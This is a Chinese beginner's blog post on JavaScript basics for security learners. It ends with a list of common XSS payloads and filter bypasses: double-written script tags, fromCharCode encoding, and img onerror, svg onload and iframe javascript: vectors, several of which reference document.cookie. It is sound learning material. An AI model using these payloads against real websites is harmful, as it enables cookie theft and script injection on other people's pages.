网络安全-js安全知识点与XSS常用payloads

目录

简介

用法

JS必备知识

输出与注释

输出

注释

语法

函数

字符串方法

事件

表单

代码执行

伪协议

XSS常用payload

普通

双写绕过

编码绕过

html标签绕过正则

参考


写给和我一样学习安全的小白。

简介

JavaScript 是一种轻量级的编程语言,定义了HTML的行为。它与Java的关系类似周杰和周杰伦的关系(即没有关系)。

用法

HTML 中的脚本必须位于 <script> 与 </script> 标签之间。

脚本可被放置在 HTML 页面的 <body> 和 <head> 部分中。

JS必备知识

输出与注释

输出

  • 使用 window.alert() 弹出警告框。
  • 使用 document.write() 方法将内容写到 HTML 文档中。
  • 使用 innerHTML 写入到 HTML 元素。
  • 使用 console.log() 写入到浏览器的控制台。

<script>
window.alert('lady_killer9');
</script>

<p>内容写到html文档。</p>
<script>
document.write('Frankyu');
</script>

<script>
a = 5;
b = 4;
c = a + b;
console.log('lady_killer'+c);
</script>

注释

单行注释以 // 开头。多行注释以 /* 开始,以 */ 结尾。

语法

关键字var来定义局部变量,没有关键字时为全局变量,页面上所有脚本和函数都能访问。

使用 ; 来分隔语句

使用 \ 来进行折行

运算符、条件控制与c++差不多

值类型(基本类型):字符串(String)、数字(Number)、布尔(Boolean)、对空(Null)、未定义(Undefined)、Symbol。

引用数据类型:对象(Object)、数组(Array)、函数(Function)。

动态类型,即变量可以改为不同类型。

面向对象语言,对象有属性和方法。

函数

关键字function定义一个函数

参数默认值为undefined,argument 对象包含了函数调用的参数数组。

关键字return来返回值

function myFunction(var1,var2,...)
{
代码

return something;
}

字符串方法

字符串方法
方法描述
charAt()返回指定索引位置的字符
charCodeAt()返回指定索引位置字符的 Unicode 值
concat()连接两个或多个字符串,返回连接后的字符串
fromCharCode()将 Unicode 转换为字符串
indexOf()返回字符串中检索指定字符第一次出现的位置
lastIndexOf()返回字符串中检索指定字符最后一次出现的位置
localeCompare()用本地特定的顺序来比较两个字符串
match()找到一个或多个正则表达式的匹配
replace()替换与正则表达式匹配的子串
search()检索与正则表达式相匹配的值
slice()提取字符串的片断,并在新的字符串中返回被提取的部分
split()把字符串分割为子字符串数组
substr()从起始索引号提取字符串中指定数目的字符
substring()提取字符串中两个指定的索引号之间的字符
toLocaleLowerCase()根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLocaleUpperCase()根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLowerCase()把字符串转换为小写
toString()返回字符串对象值
toUpperCase()把字符串转换为大写
trim()移除字符串首尾空白
valueOf()返回某个字符串对象的原始值

事件

HTML 事件可以是浏览器行为,也可以是用户行为。

常见HTML事件
事件描述
onchangeHTML 元素改变
onclick用户点击 HTML 元素
onmouseover用户在一个HTML元素上移动鼠标
onmouseout用户从一个HTML元素上移开鼠标
onkeydown用户按下键盘按键
onload浏览器已完成页面的加载
onerror出错时执行,用于故意构造错误时执行代码

表单

document.forms[表单名][变量名]

<script>document.cookie</script>

代码执行

eval函数将参数作为js代码执行

伪协议

javascript:js代码,可以放到Html标签中

XSS常用payload

普通

<script>alert('XSS')</script>
<script>document.cookie</script>

双写绕过

例如,php中使用str_replace函数替换<script>

<scr<script>ipt>alert('XSS')</scr<script>ipt>

编码绕过

例如,php中使用mysqli_real_escape_string函数转义特殊字符

"><script>alert(String.fromCharCode(88,83,83))</script>

html标签绕过正则

例如,php中使用preg_filter函数进行正则匹配删除script

<img src=x onerror=alert('XSS');>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><svg/onload=alert(/XSS/)
<div onpointerover="alert(45)">MOVE HERE</div>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<A HREF=http://127.0.0.1/phpinfo.php>link</A>

参考

GitHub-PayloadsAllTheThings-XSS Injection

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

  • 12
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lady_killer9

感谢您的打赏,我会加倍努力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值